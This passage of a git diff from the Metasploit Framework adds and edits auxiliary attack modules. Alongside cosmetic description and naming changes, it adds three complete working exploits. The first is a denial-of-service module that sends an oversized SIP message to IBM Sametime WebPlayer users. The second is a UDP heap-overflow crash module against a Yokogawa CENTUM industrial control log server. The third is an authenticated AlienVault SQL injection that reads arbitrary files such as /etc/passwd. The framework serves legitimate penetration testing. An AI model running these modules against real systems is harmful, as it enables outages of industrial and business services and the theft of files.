+    #      This should be rewritten with 1.upto() or Enumerable#each or
+    #      something
+    for x in 1..datastore['RLIMIT']
+      print_status("Sending request #{x} to #{peer}")
+      begin
+        c = connect
+        r = c.request_cgi(opts)
+        c.send_request(r)
+        # Don't wait for a response
+      rescue ::Rex::ConnectionError => exception
+        print_error("#{peer} - Unable to connect: '#{exception.message}'")
+        return
+      ensure
+        disconnect(c) if c
+      end
+    end
+  end
+end
+
diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb
index 5a5d5645b8..c96d4aaa42 100644
--- a/modules/auxiliary/dos/http/apache_mod_isapi.rb
+++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb
@@ -12,25 +12,28 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Apache mod_isapi <= 2.2.14 Dangling Pointer',
+      'Name'           => 'Apache mod_isapi Dangling Pointer',
       'Description'    => %q{
-          This module triggers a use-after-free vulnerability in the Apache Software
-        Foundation mod_isapi extension. In order to reach the vulnerable code, the
-        target server must have an ISAPI module installed and configured.
+        This module triggers a use-after-free vulnerability in the Apache
+        Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
+        In order to reach the vulnerable code, the target server must have an
+        ISAPI module installed and configured.
 
-        By making a request that terminates abnormally (either an aborted TCP connection or
-        an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later,
-        if another request comes for that ISAPI module, previously obtained pointers will
-        be used resulting in an access violation or potentially arbitrary code execution.
+        By making a request that terminates abnormally (either an aborted TCP
+        connection or an unsatisfied chunked request), mod_isapi will unload the
+        ISAPI extension. Later, if another request comes for that ISAPI module,
+        previously obtained pointers will be used resulting in an access
+        violation or potentially arbitrary code execution.
 
-        Although arbitrary code execution is theoretically possible, a real-world method of
-        invoking this consequence has not been proven. In order to do so, one would need to
-        find a situation where a particular ISAPI module loads at an image base address
-        that can be re-allocated by a remote attacker.
+        Although arbitrary code execution is theoretically possible, a
+        real-world method of invoking this consequence has not been proven. In
+        order to do so, one would need to find a situation where a particular
+        ISAPI module loads at an image base address that can be re-allocated by
+        a remote attacker.
 
-        Limited success was encountered using two separate ISAPI modules. In this scenario,
-        a second ISAPI module was loaded into the same memory area as the previously
-        unloaded module.
+        Limited success was encountered using two separate ISAPI modules. In
+        this scenario, a second ISAPI module was loaded into the same memory
+        area as the previously unloaded module.
       },
       'Author'         =>
         [
diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb
index 25d7cbd09a..de8884fce2 100644
--- a/modules/auxiliary/dos/http/hashcollision_dos.rb
+++ b/modules/auxiliary/dos/http/hashcollision_dos.rb
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
           'Scott A. Crosby', # original advisory
           'Dan S. Wallach', # original advisory
           'Krzysztof Kotowicz', # payload generator
-          'Christian Mehlmauer <FireFart[at]gmail.com>' # metasploit module
+          'Christian Mehlmauer' # metasploit module
         ],
       'License'       => MSF_LICENSE,
       'References'    =>
diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb
index 02587acb33..44b6f5c0c1 100644
--- a/modules/auxiliary/dos/http/nodejs_pipelining.rb
+++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb
@@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
   def check
     # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
     # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
-    status = Exploit::CheckCode::Unknown
+    status = Exploit::CheckCode::Safe
     connect
     sock.put(http_request("GEM"))
     begin
@@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary
     rescue EOFError
       # checking against >= 0.10.17 raises EOFError because there is no
       # response to GEM requests
+      vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
+      return Msf::Exploit::CheckCode::Unknown
     ensure
       disconnect
     end
diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb
index be905b9aab..11182c31a6 100644
--- a/modules/auxiliary/dos/mdns/avahi_portzero.rb
+++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb
@@ -12,10 +12,10 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize
     super(
-      'Name'        => 'Avahi < 0.6.24 Source Port 0 DoS',
+      'Name'        => 'Avahi Source Port 0 DoS',
       'Description' => %q{
         Avahi-daemon versions prior to 0.6.24 can be DoS'd
-        with an mDNS packet with a source port of 0
+        with an mDNS packet with a source port of 0.
       },
       'Author'      => 'kris katterjohn',
       'License'     => MSF_LICENSE,
diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb
new file mode 100644
index 0000000000..32c6c0ef6f
--- /dev/null
+++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb
@@ -0,0 +1,235 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'       => 'IBM Lotus Sametime WebPlayer DoS',
+      'Description'  => %q{
+        This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
+        version 8.5.2.1392 (and prior) to cause a denial of service condition
+        against specific users. For this module to function the target user
+        must be actively logged into the IBM Lotus Sametime server and have
+        the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
+        browser extension. The user should have the WebPlayer plug-in active
+        (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
+      },
+      'Author'     =>
+        [
+          'Chris John Riley', # Vulnerability discovery
+          'kicks4kittens' # Metasploit module
+        ],
+      'License'    => MSF_LICENSE,
+      'Actions'    =>
+        [
+          ['DOS',
+            {
+              'Description' => 'Cause a Denial Of Service condition against a connected user'
+            }
+          ],
+          ['CHECK',
+            {
+              'Description' => 'Checking if targeted user is online'
+            }
+          ]
+        ],
+      'DefaultAction'  => 'DOS',
+      'References'   =>
+        [
+          [ 'CVE', '2013-3986' ],
+          [ 'OSVDB', '99552' ],
+          [ 'BID', '63611'],
+          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
+          [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
+        ],
+      'DisclosureDate' => 'Nov 07 2013'))
+
+    register_options(
+      [
+        Opt::RPORT(5060),
+        OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
+        OptString.new('SIPURI', [
+          true,
+          'The SIP URI of the user to be targeted',
+          '<target_email_address>@<sametime_media_server_FQDN>'
+        ]),
+        OptInt.new('TIMEOUT', [ true,  'Set specific response timeout', 0])
+      ], self.class)
+
+  end
+
+  def setup
+    # cleanup SIP target to ensure it's in the correct format to use
+    @sipuri = datastore['SIPURI']
+    if @sipuri[0, 4].downcase == "sip:"
+      # remove sip: if present in string
+      @sipuri = @sipuri[4, @sipuri.length]
+    end
+    if @sipuri[0, 12].downcase == "webavclient-"
+      # remove WebAVClient- if present in string
+      @sipuri = @sipuri[12, @sipuri.length]
+    end
+  end
+
+  def run
+    # inform user of action currently selected
+    print_status("#{peer} - Action: #{action.name} selected")
+
+    # CHECK action
+    if action.name == 'CHECK'
+      print_status("#{peer} - Checking if user #{@sipuri} is online")
+      if check_user
+        print_good("#{peer} - User online")
+      else
+        print_status("#{peer} - User offline")
+      end
+      return
+    end
+
+    # DOS action
+    print_status("#{peer} - Checking if user #{@sipuri} is online")
+    check_result = check_user
+
+    if check_result == false
+      print_error("#{peer} - User is already offline... Exiting...")
+      return
+    end
+
+    # only proceed if action is DOS the target user is
+    # online or the CHECKUSER option has been disabled
+    print_status("#{peer} - Targeting user: #{@sipuri}...")
+    dos_result = dos_user
+
+    if dos_result
+      print_good("#{peer} - User is offline, DoS was successful")
+    else
+      print_error("#{peer} - User is still online")
+    end
+
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  def dos_user
+    length = 12000 # enough to overflow the end of allocated memory
+    msg = create_message(length)
+    res = send_msg(msg)
+
+    if res.nil?
+      vprint_good("#{peer} - User #{@sipuri} is no responding")
+      return true
+    elsif res =~ /430 Flow Failed/i
+      vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)")
+      vprint_good("#{peer} - User #{@sipuri} is no longer responding")
+      return true
+    elsif res =~ /404 Not Found/i
+      vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)")
+      vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session")
+      return true
+    elsif res =~ /200 OK/i
+      vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
+      vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
+      return false
+    else
+      vprint_status("#{peer} - Unexpected response")
+      return true
+    end
+  end
+
+  # used to check the user is logged into Sametime and after DoS to check success
+  def check_user
+    length = Rex::Text.rand_text_numeric(2) # just enough to check response
+    msg = create_message(length)
+    res = send_msg(msg)
+
+    # check response for current user status - common return codes
+    if res.nil?
+      vprint_error("#{peer} - No response")
+      return false
+    elsif res =~ /430 Flow Failed/i
+      vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)")
+      return false
+    elsif res =~ /404 Not Found/i
+      vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session")
+      return false
+    elsif res =~ /200 OK/i
+      vprint_good("#{peer} - User #{@sipuri} is online")
+      return true
+    else
+      vprint_error("#{peer} - Unknown server response")
+      return false
+    end
+  end
+
+  def create_message(length)
+    # create SIP MESSAGE of specified length
+    vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long")
+
+    source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
+    source_host = Rex::Socket.source_address(datastore['RHOST'])
+    src = "#{source_host}:#{datastore['RPORT']}"
+    cseq = Rex::Text.rand_text_numeric(3)
+    message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
+    branch = Rex::Text.rand_text_alphanumeric(7)
+
+    # setup SIP message in the correct format expected by the server
+    data =  "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
+    data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
+    data << "Max-Forwards: 80\r\n"
+    data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
+    data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
+    data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
+    data << "CSeq: #{cseq} MESSAGE" + "\r\n"
+    data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
+    data << "User-Agent: #{source_user}\r\n"
+    data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
+    data << message_text
+
+    return data
+  end
+
+  def timing_get_once(s, length)
+    if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
+      return s.get_once(length, datastore['TIMEOUT'])
+    else
+      return s.get_once(length)
+    end
+  end
+
+  def send_msg(msg)
+    begin
+      s = connect
+      # send message and store response
+      s.put(msg + "\r\n\r\n") rescue nil
+      # read response
+      res = timing_get_once(s, 25)
+      if res == "\r\n"
+        # retry request
+        res = timing_get_once(s, 25)
+      end
+      return res
+    rescue ::Rex::ConnectionRefused
+      print_status("#{peer} - Unable to connect")
+      return nil
+    rescue ::Errno::ECONNRESET
+      print_status("#{peer} - DoS packet successful, host not responding.")
+      return nil
+    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+      print_status("#{peer} - Couldn't connect")
+      return nil
+    ensure
+      # disconnect socket if still open
+      disconnect if s
+    end
+  end
+end
diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
new file mode 100644
index 0000000000..8f11b42279
--- /dev/null
+++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
@@ -0,0 +1,75 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Udp
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow',
+      'Description'    => %q{
+        This module abuses a buffer overflow vulnerability to trigger a Denial of Service
+        of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability
+        exists in the handling of malformed log packets, with an unexpected long level field.
+        The root cause of the vulnerability is a combination of usage of uninitialized memory
+        from the stack and a dangerous string copy. This module has been tested successfully
+        on Yokogawa CENTUM CS 3000 R3.08.50.
+      },
+      'Author'         =>
+        [
+          'juan vazquez',
+          'Redsadic <julian.vilas[at]gmail.com>'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
+          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
+        ],
+      'DisclosureDate' => 'Mar 10 2014',
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(52302),
+        OptInt.new('RLIMIT', [true,  "Number of packets to send", 10])
+      ], self.class)
+  end
+
+  def run
+    if datastore['RLIMIT'] < 2
+      print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.")
+      return
+    end
+
+    # Crash due to read bad memory
+    test = [1024].pack("V")             # packet length
+    test << "AAAA"                      # Unknown
+    test << "SOURCE\x00\x00"            # Source
+    test << "\x00" * 8                  # Padding
+    test << "B" * (1024 - test.length)  # Level & Message coalesced
+
+    connect_udp
+
+    # Sending two consecutives packages is enough to
+    # trigger the overflow and cause the DoS. But if
+    # legit packets are processed by the server, between
+    # the two malformed packages, overflow won't happen.
+    # Unfortunately because of the usage of UDP and the
+    # absence of answer, there isn't a reliable way to
+    # check if the DoS condition has been triggered.
+    print_status("Sending #{datastore['RLIMIT']} packets...")
+    (1..datastore['RLIMIT']).each do |i|
+      vprint_status("Sending #{i}/#{datastore['RLIMIT']}...")
+      udp_sock.put(test)
+    end
+
+    disconnect_udp
+  end
+
+end
diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb
index 2ead93b597..232164fe73 100644
--- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb
+++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Sendmail SMTP Address prescan <= 8.12.8 Memory Corruption',
+      'Name'           => 'Sendmail SMTP Address prescan Memory Corruption',
       'Description'    => %q{
         This is a proof of concept denial of service module for Sendmail versions
         8.12.8 and earlier. The vulnerability is within the prescan() method when
diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
index 67f434b839..32c558cd1b 100644
--- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
+++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		=> 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS',
+      'Name'		=> 'OpenSSL DTLS ChangeCipherSpec Remote DoS',
       'Description'	=> %q{
           This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
         version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
index 7ea991c86e..6ceaf211f0 100644
--- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
+++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		=> 'FileZilla FTP Server <=0.9.21 Malformed PORT Denial of Service',
+      'Name'		=> 'FileZilla FTP Server Malformed PORT Denial of Service',
       'Description'	=> %q{
         This module triggers a Denial of Service condition in the FileZilla FTP
         Server versions 0.9.21 and earlier. By sending a malformed PORT command
diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
index b123f78e0d..5807ee374a 100644
--- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
+++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion',
+      'Name'           => 'Microsoft IIS FTP Server LIST Stack Exhaustion',
       'Description'    => %q{
           This module triggers Denial of Service condition in the Microsoft Internet
         Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command
diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
index 986c0cca98..b73994de01 100644
--- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
+++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
@@ -12,11 +12,12 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => 'Solar FTP Server <= 2.1.1 Malformed (User) Denial of Service',
+      'Name'           => 'Solar FTP Server Malformed USER Denial of Service',
       'Description'    => %q{
-        This module will send a format string as USER to Solar FTP, causing a READ
-        violation in function "__output_1()" found in "sfsservice.exe" while trying to
-        calculate the length of the string.
+        This module will send a format string as USER to Solar FTP, causing a
+        READ violation in function "__output_1()" found in "sfsservice.exe"
+        while trying to calculate the length of the string. This vulnerability
+        affects versions 2.1.1 and earlier.
       },
       'Author'         =>
       [
diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
index 1d31454ac9..ef67d3255b 100644
--- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
+++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
@@ -12,12 +12,12 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Pi3Web <=2.0.13 ISAPI DoS',
+      'Name'           => 'Pi3Web ISAPI DoS',
       'Description'    => %q{
-        The Pi3Web HTTP server crashes when a request is made
-        for an invalid DLL file in /isapi.  By default, the
-        non-DLLs in this directory after installation are
-        users.txt, install.daf and readme.daf.
+        The Pi3Web HTTP server crashes when a request is made for an invalid DLL
+        file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs
+        in this directory after installation are users.txt, install.daf and
+        readme.daf.
       },
       'Author'         => 'kris katterjohn',
       'License'        => MSF_LICENSE,
diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
new file mode 100644
index 0000000000..7dc9f30ae0
--- /dev/null
+++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
@@ -0,0 +1,152 @@
+##
+## This module requires Metasploit: http//metasploit.com/download
+## Current source: https://github.com/rapid7/metasploit-framework
+###
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "AlienVault Authenticated SQL Injection Arbitrary File Read",
+      'Description'    => %q{
+        AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG
+        generation PHP file. This module exploits this to read an arbitrary file from
+        the file system. Any authenticated user is able to exploit it, as administrator
+        privileges aren't required.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
+        ],
+      'References'     =>
+        [
+          ['EDB', '32644']
+        ],
+      'DefaultOptions'  =>
+        {
+          'SSL' => true
+        },
+      'Platform'       => ['linux'],
+      'Privileged'     => false,
+      'DisclosureDate' => "Mar 30 2014"))
+
+      register_options(
+      [
+        Opt::RPORT(443),
+        OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
+        OptString.new('USERNAME', [ true, 'Single username' ]),
+        OptString.new('PASSWORD', [ true, 'Single password' ]),
+        OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])
+      ], self.class)
+
+  end
+
+  def run
+
+    print_status("#{peer} - Get a valid session cookie...")
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
+    })
+
+    unless res and res.code == 200
+      print_error("#{peer} - Server did not respond in an expected way")
+      return
+    end
+
+    cookie = res.get_cookies
+
+    if cookie.blank?
+      print_error("#{peer} - Could not retrieve a cookie")
+      return
+    end
+
+    post = {
+      'embed' => '',
+      'bookmark_string' => '',
+      'user' => datastore['USERNAME'],
+      'passu' => datastore['PASSWORD'],
+      'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
+    }
+
+    print_status("#{peer} - Login...")
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
+      'method' => 'POST',
+      'vars_post' => post,
+      'cookie' => cookie
+    })
+
+    unless res and res.code == 302
+      print_error("#{peer} - Server did not respond in an expected way")
+      return
+    end
+
+    unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
+      print_error("#{peer} - Authentication failed")
+      return
+    end
+
+    cookie = res.get_cookies
+
+    if cookie.blank?
+      print_error("#{peer} - Could not retrieve the authenticated cookie")
+      return
+    end
+
+    i = 0
+    full = ''
+    filename = datastore['FILEPATH'].unpack("H*")[0]
+    left_marker = Rex::Text.rand_text_alpha(6)
+    right_marker = Rex::Text.rand_text_alpha(6)
+
+    print_status("#{peer} - Exploiting SQLi...")
+
+    loop do
+      file = sqli(left_marker, right_marker, i, cookie, filename)
+      return if file.nil?
+      break if file.empty?
+
+      str = [file].pack("H*")
+      full << str
+      vprint_status(str)
+
+      i = i+1
+    end
+
+    path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
+    print_good("File stored at path: " + path)
+  end
+
+  def sqli(left_marker, right_marker, i, cookie, filename)
+    pay =  "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
+    pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
+    pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
+    pay << " GROUP BY x)a) AND 'xnDa'='xnDa"
+
+    get = {
+      'date_from' => pay,
+      'date_to' => '2014-03-30'
+    }
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),
+      'cookie' => cookie,
+      'vars_get' => get
+    })
+
+    if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/
+      return $1
+    else
+      print_error("Server did not respond in an expected way")
+      return nil
+    end
+  end
+
+end
+
diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb
index bc37d89b7b..f08e3f9ed9 100644
--- a/modules/auxiliary/gather/coldfusion_pwd_props.rb
+++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb
@@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         Opt::RPORT(80),
-        OptBool.new('CHECK', [false, 'Only check for vulnerability', false]),
         OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
       ], self.class)
   end
@@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   def check
+    if check_cf
+      return Msf::Exploit::CheckCode::Vulnerable
+    end
+
+    Msf::Exploit::CheckCode::Safe
+  end
+
+  def check_cf
     vuln = false
     url = '/CFIDE/adminapi/customtags/l10n.cfm'
     res = send_request_cgi({
@@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary
       return
     end
 
-    if(not check)
+    if(not check_cf)
       print_status("#{peer} can't be exploited (either files missing or permissions block access)")
       return
     end
 
-    if (datastore['CHECK'] )
-      print_good("#{peer} is vulnerable and most likely exploitable") if check
-      return
-    end
-
-
     res = send_request_cgi({
       'method'   => 'GET',
       'uri'      => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb
index 7fc50a9bf7..6d8477af9f 100644
--- a/modules/auxiliary/gather/corpwatch_lookup_id.rb
+++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb
@@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]),
-        OptInt.new('YEAR', [ false, "Year to look up"]),
+        OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]),
         OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]),
         OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]),
         OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]),
@@ -40,19 +40,15 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('RHOST', 'RPORT', 'VHOST', 'Proxies')
   end
 
-  def cleanup
-    datastore['RHOST'] = @old_rhost
-    datastore['RPORT'] = @old_rport
+  def rhost_corpwatch
+    'api.corpwatch.org'
+  end
+
+  def rport_corpwatch
+    80
   end
 
   def run
-    # Save the original rhost/rport in case the user was exploiting something else
-    @old_rhost = datastore['RHOST']
-    @old_rport = datastore['RPORT']
-
-    # Initial api.corpwatch.org's rhost and rport for HttpClient
-    datastore['RHOST'] = 'api.corpwatch.org'
-    datastore['RPORT'] = 80
 
     loot = ""
     uri = "/"
@@ -60,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary
     uri << ("/companies/" + datastore['CW_ID'])
 
     res = send_request_cgi({
+      'rhost'    => rhost_corpwatch,
+      'rport'    => rport_corpwatch,
       'uri'      => uri + ".xml",
       'method'   => 'GET'
     }, 25)
@@ -85,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary
 
     elements = root.get_elements("result")
 
-    if elements == nil || elements.length == 0
+    if elements.blank? || elements.length == 0
       print_error("No results returned")
       return
     end
@@ -157,6 +155,8 @@ class Metasploit3 < Msf::Auxiliary
 
       res = send_request_cgi(
       {
+        'rhost'   => rhost_corpwatch,
+        'rport'   => rport_corpwatch,
         'uri'     => uri + "/locations.xml",
         'method'  => 'GET'
       }, 25)
@@ -227,6 +227,8 @@ class Metasploit3 < Msf::Auxiliary
 
       res = send_request_cgi(
       {
+        'rhost'   => rhost_corpwatch,
+        'rport'   => rport_corpwatch,
         'uri'     => uri + "/names.xml",
         'method'  => 'GET'
       }, 25)
@@ -287,6 +289,8 @@ class Metasploit3 < Msf::Auxiliary
 
       res = send_request_cgi(
       {
+        'rhost'   => rhost_corpwatch,
+        'rport'   => rport_corpwatch,
         'uri'     => uri + "/filings.xml",
         'method'  => 'GET'
       }, 25)
@@ -365,6 +369,8 @@ class Metasploit3 < Msf::Auxiliary
 
       res = send_request_cgi(
       {
+        'rhost'   => rhost_corpwatch,
+        'rport'   => rport_corpwatch,
         'uri'      => child_uri,
         'method'   => 'GET'
       }, 25)
@@ -444,6 +450,8 @@ class Metasploit3 < Msf::Auxiliary
     if datastore['GET_HISTORY']
 
       res = send_request_cgi({
+        'rhost'   => rhost_corpwatch,
+        'rport'   => rport_corpwatch,
         'uri'     => uri + "/history.xml",
         'method'  => 'GET'
       }, 25)
diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb
index fd678b318b..0b652988ba 100644
--- a/modules/auxiliary/gather/corpwatch_lookup_name.rb
+++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]),
-        OptInt.new('YEAR', [ false, "Limit results to a specific year"]),
+        OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]),
         OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]),
         OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]),
       ], self.class)
@@ -39,19 +39,15 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('RHOST', 'RPORT', 'Proxies', 'VHOST')
   end
 
-  def cleanup
-    datastore['RHOST'] = @old_rhost
-    datastore['RPORT'] = @old_rport
+  def rhost_corpwatch
+    'api.corpwatch.org'
+  end
+
+  def rport_corpwatch
+    80
   end
 
   def run
-    # Save the original rhost/rport in case the user was exploiting something else
-    @old_rhost = datastore['RHOST']
-    @old_rport = datastore['RPORT']
-
-    # Initial api.corpwatch.org's rhost and rport for HttpClient
-    datastore['RHOST'] = 'api.corpwatch.org'
-    datastore['RPORT'] = 80
 
     uri = "/"
